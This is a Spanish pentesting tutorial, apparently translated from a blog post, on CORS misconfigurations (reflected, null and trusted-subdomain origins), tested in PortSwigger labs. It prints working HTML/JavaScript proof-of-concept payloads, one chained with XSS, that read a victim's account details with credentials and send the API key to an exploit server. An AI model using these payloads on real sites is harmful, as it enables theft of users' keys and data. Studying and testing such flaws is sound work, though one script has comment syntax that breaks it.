Todos los navegadores web implementan un modelo de seguridad conocido como Política de Mismo Origen (SOP - Same-Origin Policy). Esto restringe a los dominios que accedan y recuperen datos de otros recursos de dominios.

La política SOP ayuda en proteger a los usuarios de scripts maliciosos que podrían acceder a datos sensibles o realizar acciones no autorizados en su nombre.

Por ejemplo, si business.com intenta realizar una solicitud HTTP a metrics.com, el navegador, por defecto, bloqueará la solicitud porque viene de un distinto dominio.

Por mucho que el SOP suene como una política de protección apropiada, no escala bien con las tecnologías de hoy en día que dependen uno del otro para operar. Por ejemplo, presenta desafíos a las APIs y microservicios que tienen casos de uso legítimos para acceder y compartir información entre dominios.

Por casos como este, hubo una necesidad para un nuevo mecanismo de seguridad que permitiría interacciones entre dominios. Es conocido como Intercambio de Recursos entre Orígenes (CORS en inglés).

Este artículo cubrirá lo básico de cómo funciona CORS e identificar vulnerabilidades comunes que pueden ocurrir cuando no implementas CORS correctamente. Aprenderemos cómo probar y explotar las configuraciones erróneas de esa forma al final de esta guía, tendrás un mejor entendimiento de cómo probar y validar para CORS durante una prueba de penetración (pentest).

Usaré los laboratorios (entornos) CORS de Port Swigger para demostrar la prueba y pasos de explotación.

Tabla de Contenido

¿Qué es la Política de Origen entre Sitios (CORS)?

CORS es una característica de seguridad creada para relajar selectivamente las restricciones de SOP y permitir acceso controlado a recursos de distintos dominios. Las reglas de CORS permiten a los dominios especificar qué dominios pueden solicitar información de ellos al agregar cabeceras de HTTP específicas en la respuesta.

Hay varias cabeceras de HTTP relacionadas a CORS, pero estamos interesados en los dos que se relacionan a las vulnerabilidades vistas comúnmente – Access-Control-Allow-Origin y Access-Control-Allow-Credentials.

Access-Control-Allow-Origin: Esta cabecera especifica que los dominios permitidos lean el contenido de la respuesta. El valor puede ser un caracter comodín (*), el cual indica que todos los dominios están permitidos, o lista de dominios separados por coma.

#Todos los dominios están permitidos
Access-Control-Allow-Origin: *   


#Lista de dominios separados por coma
Access-Control-Allow-Origin: example.com, metrics.com

Access-Control-Allow-Credentials: Esta cabecera determina si el dominio permite pasar credenciales — tales como cookies o cabeceras de autorización en las solicitudes entre origen.

El valor de la cabecera es True o False. Si la cabecera es puesto a "true", el dominio permite enviar credenciales. Si se pone a "false," o no es incluido en la respuesta, entonces no se le permite.

#Permite pasar credenciales en las solicitudes
Access-Control-Allow-Credentials: true

#No permite pasarlos en las solicitudes
Access-Control-Allow-Credentials: false

Impacto de las Configuraciones erróneas de CORS

Las Configuraciones erróneas de CORS pueden tener un impacto significativo en la seguridad de aplicaciones web. Abajo están las implicaciones principales:

  • Robo de Datos: Los atacantes pueden usar las vulnerabilidades de CORS para robar datos sensibles de aplicaciones como claves API, claves SSH, Información Personal Identificable (PII), o credenciales de usuarios.
  • Secuencias de comandos entre sitios (XSS): Los atacantes pueden usar las vulnerabilidades de CORS para realizar ataques XSS al inyectar scripts maliciosos en páginas web para robar tokens de sesión o realizar acciones no autorizados en el nombre del usuario.
  • Ejecución de Código Remoto en algunos casos (caso de StackStorm)

Cómo identificar CORS

Cuando se prueba una aplicación para CORS, verificamos si cualquiera de las respuestas de la aplicación contienen las cabeceras de CORS. Podemos usar la funcionalidad de búsqueda en Burp Suite para buscar las cabeceras rápidamente.

En el ejemplo de abajo, busqué la cabecera Access-Control-Allow-Credentials y obtuve tres (3) respuestas. Una vez que las cabeceras son identificadas, podemos seleccionar las solicitudes y enviarlos al Repetidor para una análisis más detallado.

Image
Image

Figuras 1 & 2 muestran la funcionalidad de búsqueda en Burp Suite para buscar las cabeceras de CORS.

Para identificar los problemas de CORS, podemos modificar la cabecera Origin en las solicitudes con múltiples valores y ver qué cabeceras de respuesta obtenemos de la aplicación. Hay cuatros (4) formas conocidas para hacer esto, los cuales veremos ahora.

1. Orígines Reflejados

Poner la cabecera Origin en la solicitud a un dominio arbitrario, tales como https://attackersdomain.com, y verificar la cabecera Access-Control-Allow-Origin en la respuesta. Si refleja el dominio exacto que supliste en la solicitud, significa que el dominio no filtra para ningún origen.

El riesgo de esta configuración errónea es alta si el dominio permite que las credenciales se pasan en las solicitudes. Podemos validar que al verificar si la cabecera Access-Control-Allow-Credentials también está incluida en la respuesta y es puesta a true.

Sin embargo, el riesgo es bajo si el pasar credenciales no está permitido, ya que el navegador no procesará las respuestas de solicitudes no autenticados.

📌 Para explotar orígenes reflejados, verificar la sección de explotación — Caso #1.

Figure 3 — shows the value of the Origin header included in the Access-Control-Allow-Origin header. r3dbuck3t #cors #websecurity

Figura 3 — muestra el valor de la cabecera Origin incluido en la cabecera Access-Control-Allow-Origin.

2. Orígenes Modificados

Poner la cabecera Origin a un valor que coincida con el dominio objetivo, pero agregar un prefijo o sufijo al dominio para verificar si hay cualquier validación sobre los inicios o finales del dominio.

Si no hay controles, podemos crear un dominio coincidente similar que elude la política de CORS en el dominio de destino. Por ejemplo, agregando un prefijo o sufijo al dominio metrics.com sería algo como attackmetrics.com o metrics.com.attack.com.

El riesgo de esta configuración errónea es considerado alto si el dominio permite pasar credenciales con la cabecera Access-Control-Allow-Credentials se ponga a true. El atacante puede crear un dominio de coincidente similar y recuperar información sensible del dominio de destino.

Pero el riesgo sería bajo si las solicitudes no autenticados no estuvieran permitidos.

📌 Para explotar orígenes modificados, verifica la sección de explotación — Caso #1.

3. Subdominios de confianza con Protocolo Inseguro

Poner la cabecera Origin a un subdominio existente y ver si lo acepta. Si lo hace, significa que el dominio confía a todos sus subdominios. Esto no es una buena idea si uno de los subdominios tiene una vulnerabilidad de Secuencia de comandos entre Sitios (XSS), permitirá al atacante que inyecte un payload de JS malicioso y realizar acciones no autorizados.

Esta configuración errónea se considera de alto riesgo el dominio acepta subdominios con un protocolo inseguro, tales como HTTP, y la cabecera credencial se pone a true. De lo contrario, no será explotable y sería solamente una implementación pobre de CORS.

📌 Para explotar subdominios de confianza, verifica la sección de expltación — Caso #3.

Figure 4 — shows the application accepts arbitrary insecure subdomains. https://medium.com/r3d-buck3t — #cors #websecurity #web

Figura 4 — muestra la aplicación acepta subdominios inseguros arbitrarios.

4. Orígen Null

Pon la cabecera Origin al valor null – Origin: null, y ve si la aplicación pone la cabecera Access-Control-Allow-Origin a null. Si lo hace, significa que los orígenes null están en la lista blanca.

El nivel de riesgo es considerado alto si el dominio permite solicitudes autenticados con la cabecera Access-Control-Allow-Credentials puesto a true.

Pero si no lo hace, entonces el problema es considerado bajo, y no explotable.

📌 Para explotar los Orígenes Null, verifica la sección explotación – Caso #2.

Figure 5 — shows the application accepted the null value and returned it in the response. #pentesting #cors #bugbounty https://medium.com/r3d-buck3t

Figura 5 — muestra que la aplicación aceptó el valor null y lo regresó en la respuesta.

Casos explotables de CORS

En esta sección, veremos cómo explotar las configuraciones erróneas de CORS al categorizarlos como casos de prueba para una fácil comprensión.

Caso 1: Origen Reflejado

La aplicación es consideraba vulnerable cuando pone el Access-Control-Allow-Origin al dominio que fue suplido por el atacante y permite pasar credenciales con el Access-Control-Allow-Credentials puesto a true.

Access-Control-Allow-Origin: http://attacker-domain.com
Access-Control-Allow-Credentials: true
Figure 3 — shows the value of the Origin header included in the Access-Control-Allow-Origin header. r3dbuck3t #cors #websecurity

Figura 6 — muestra las cabeceras de CORS para orígen reflejado.

La explotación requiere que el atacante aloje el script de JS en un servidor externo para que sea accesible al usuario. Luego tienen que crear una página HTML, incrustar el script de JS abajo, y enviarlo al usuario.

<html>
  <body>
    <script>

    #Inicializa el objeto XMLHttpRequest, y la variable URL de la aplicacion 
        var req = new XMLHttpRequest();
        var url = ("APPLICATION URL");

    #El objeto MLHttpRequest carga, ejecuta la función reqListener()
      req.onload = retrieveKeys;

    #Realiza la solicitud GET a la ubicación accounDetails de la aplicacion
        req.open('GET', url + "/accountDetails",true);

    #Permite pasar credenciales con las solicitudes
    req.withCredentials = true;

    #Envía la solicitud
        req.send(null);

    function retrieveKeys() {
            location='/log?key='+this.responseText;
        };

  </script>
  <body>
</html>

Una vez que el usuario vistia la página alojada, automáticamente enviará una solicitud de CORS para recuperar información sobre el usuario de la ubicación especificado en el script. Entender la estructura de la aplicación y donde almacena su información sensible es esencial para este paso.

El script de arriba comienza con inicializar el objeto (XHR) XMLHttpRequest que instruya al navegador web que transferiremos datos al y desde el servidor web usando el protocolo HTTP. XHR es una API del navegador que permite a los lenguajes del lado del cliente tales como JavaScript que realice solicitudes HTTP a un servidor y reciba sus respuestas de forma dinámica sin requerir que el usuario refresque la página.

Luego, le decimos al objeto que ejecute una función llamada retrieveKeys que solicite la clave API del admin y nos envíe la respuesta cuando cargue.

Después, hacemos una solicitud GET especificando la ubicación del cual queremos obtener información y pasar nuestras credenciales con la función Credentials puesto a true.

La solicitud automáticamente será bloqueada y denegada si el servidor de la aplicación no permite pasar credenciales entre dominios. Pero sabemos que esto no sucederá aquí porque el Access-Control-Allow-Credentials está puesto a true.

Para demostrar cómo funciona el script, usaré el servidor de exploits PortSwigger el cual está disponible con el laboratorio para alojar el script de arriba.

Inicia sesión en la aplicación, haz clic en “Go to exploit server,” y pega el script en el body (cuerpo). Luego haz clic en “Deliver exploit to victim.” En un escenario real, necesitas enviar el enlace al usuario e intentar atraerlos para que le hagan clic.

Image
Image

Figuras 7 & 8 — muestra el proceso de alojar el payload de JS y entregarlo al usuario.

Después de repartir el exploit, haz clic en “Access log” y deberías ser capaz de ver la clave API del admin capturado en los logs. Copia la cadena que tiene la clave y pégalo en Decoder de Burp Suite y decodifícalo como una URL para recuperar el valor cleartext.

Image
Image

Figuras 9 & 10 — muestran la clave API del admin en los logs y el valor de la clave en texto plano en el Decoder.

Caso 2: Origen Null

La aplicación es considerada vulnerable cuando pone el Access-Control-Allow-Origin al valor null y permite pasar credenciales con el Access-Control-Allow-Credentials puesto a true.

Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
Figure 5 — shows the application accepted the null value and returned it in the response. #pentesting #cors #bugbounty https://medium.com/r3d-buck3t

Figura 11 — muestra que el servidor de la aplicación acepta orígenes null.

La explotación requiere que el archivo script de JS que hospedemos sea accesible al usuario objetivo (lo mismo que en el caso #1). Nuevamente, usaremos el mismo script – solo esta vez, agregaremos un sandbox iframe para recuperar la clave API. La propiedad sandbox pone el origen del frame a null así podemos poner la cabecera Origin al valor null.

<html>
    <body>
        <iframe style="display: none;" sandbox="allow-scripts" srcdoc="
        <script>
            var req = new XMLHttpRequest();
            var url = 'APPLICATION URL'
            req.onload = retrieveKeys;

            req.open('GET', url + '/accountDetails', true);
            req.withCredentials = true;
            req.send(null);

           function retrieveKeys() {
               fetch('https://Exolit_Server_Hostname/log?key=' + req.responseText)
            }
        </script>"></iframe>
    </body>
</html>

Cuando el usuario autenticado hace clic en nuestro enlace http://192.168.1.14:5555/cors_null_poc.html, obtendremos la clave API de los detalles de la cuenta. Pero siendo que nuestro usuario no es un administrador, no seremos capaz de recuperar la clave API del administrador.

El punto de mostrar los pasos de abajo es que durante una evaluación de prueba de una aplicación web, como un tester, se te dará las cuentas de usuario regular y administrador para probarlos. En esos casos, sigues los pasos de abajo para mostrar tu prueba de concepta al hospedar el archivo de forma local. O, por supuesto, puedes hospedar el archivo de forma externa como una opción alternativa.

Image
Image

Figuras 12 & 13 — muestra que el valor null se agrega a la cabecera de la solicitud, y el usuario accedió a la página cors_nullpoc.

Figure 14 — shows the user’s account details when clicking the link. https://medium.com/r3d-buck3t #cors #web #pentesting

Figura 14 — muestra los detalles de la cuenta de usuario cuando se hace clic al enlace.

Caso 3: Subdominios Confiables

La aplicación es considerada vulnerable cuando se pone Access-Control-Allow-Origin a cualquiera de sus subdominios y se permite credenciales con Access-Control-Allow-Credentials puesto a true.

La explotación de este caso es dependiente en si el subdominio existente es vulnerable a los ataques XSS para permitir al atacante que abuse de la configuración errónea.

Access-Control-Allow-Origin: subdomainattacker.example.com
Access-Control-Allow-Credentials: true
Figure 15 — shows the domain accepts its subdomains’ origins. https://medium.com/r3d-buck3t #cors #web #pentesting #hacking

Figura 15 — muestra que el domino acepta sus orígenes de los subdominios.

Su te encuentras este escenario, necesitas verificar todos los subdominios existentes e intentar de encontrar una con una vulnerabilidad de XSS para explotarlo.

En el laboratorio Port Swigger #3, la aplicación confía que su subdominio – stock – es vulnerable a ataques de XSS en el parámetro ProductId=.

Image
Image

Figuras 16 & 17 — muestra que el subdominio de acciones es vulnerable a ataques de XSS en el parámetro ProductId.

Usaremos el mismo escript para explotar este caos, con excepción que agregaremos la ubicación donde inyectamos el payload usando la función document.location. Luego formatearemos el payload para que sea un payload de una línea así podemos pasarle en el parámetro.

<script>
    document.location="http://subdomain.domain.com/?productId=<script>
    <script>
       var req = new XMLHttpRequest();
       req.onload = retrieveKeys;
       req.open('GET', "APPLICATION URL/accountDetails",true);
       req.withCredentials = true;
       req.send(null);

       function retrieveKeys() {
            location='https://Exolit_Server_Hostname/log?key='+this.responseText;
        };

  </script> 
      </script>

Después de eso, guardamos el script como cors_poc.html, lo hospedamos en nuestro servidor, y enviamos el enlace al usuario.

<html>
<body>
<script>
    document.location="http://Insecure-subdomain/?productId=<script>var req = new XMLHttpRequest(); req.onload = retrieveKeys; req.open('get','APPLICATION URL/accountDetails',true); req.withCredentials = true;req.send();function retrieveKeys() {location='https://exploit-0a110003034945dec57758a8018500a8.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>
</body>
</html>

Como puedes ver abajo en las capturas de pantalla, cuando el usuario accede al enlace, el script inyecta el payload en el parámetro productId y recupera la clave API.

Image
Image
Image

Figuras 18, 19 & 20 — muestra la inyección del payload XSS y captura la clave APi en acción.

Caso Inexplotable: Comodín (*)

La aplicación NO es vulnerable cuando Access-Control-Allow-Origin es puesto al comodín *, inclusive si la cabecera Access-Control-Allow-Credentials es puesto a true.

Esto se debe a que hay una verificación de seguridad que desactiva la cabecera Allow-Credentials cuando el origin es puesto a un comodín.

Mitigaciones

  • Implementa las cabeceras de CORS apropiadas: El servidor puede agregar cabeceras de CORS apropiadas para permitir solicitudes entre orígenes solamente de sitios confiables.
  • Restringe acceso a datos sensibles: Esimportante restringir acceso a datos sensible a dominios confiables solamente. Esto se puede haceral implementar medidas de acceso de control tales como autenticación y autorización.

Concluyendo

En este tutorial, hemos cubierto lo básico de CORS como una característica de seguridad que previene que las páginas web hagan solicitudes no autorizados a distintos dominios.

También cubrimos las técnicas de prueba estándares de CORS para detectar y explotar configuraciones erróneas de CORS con herramientas como Burp Suites y las herramientas de desarrollo de Chrome.

Al implementar y probar CORS correctamente, los desarrolladores web puede asegurar que sus aplicaciones web están seguras y evitar configuraciones erróneas que permiten a los atacantes acceder a recursos no autorizados y comprometer la seguridad de la aplicación.

Recursos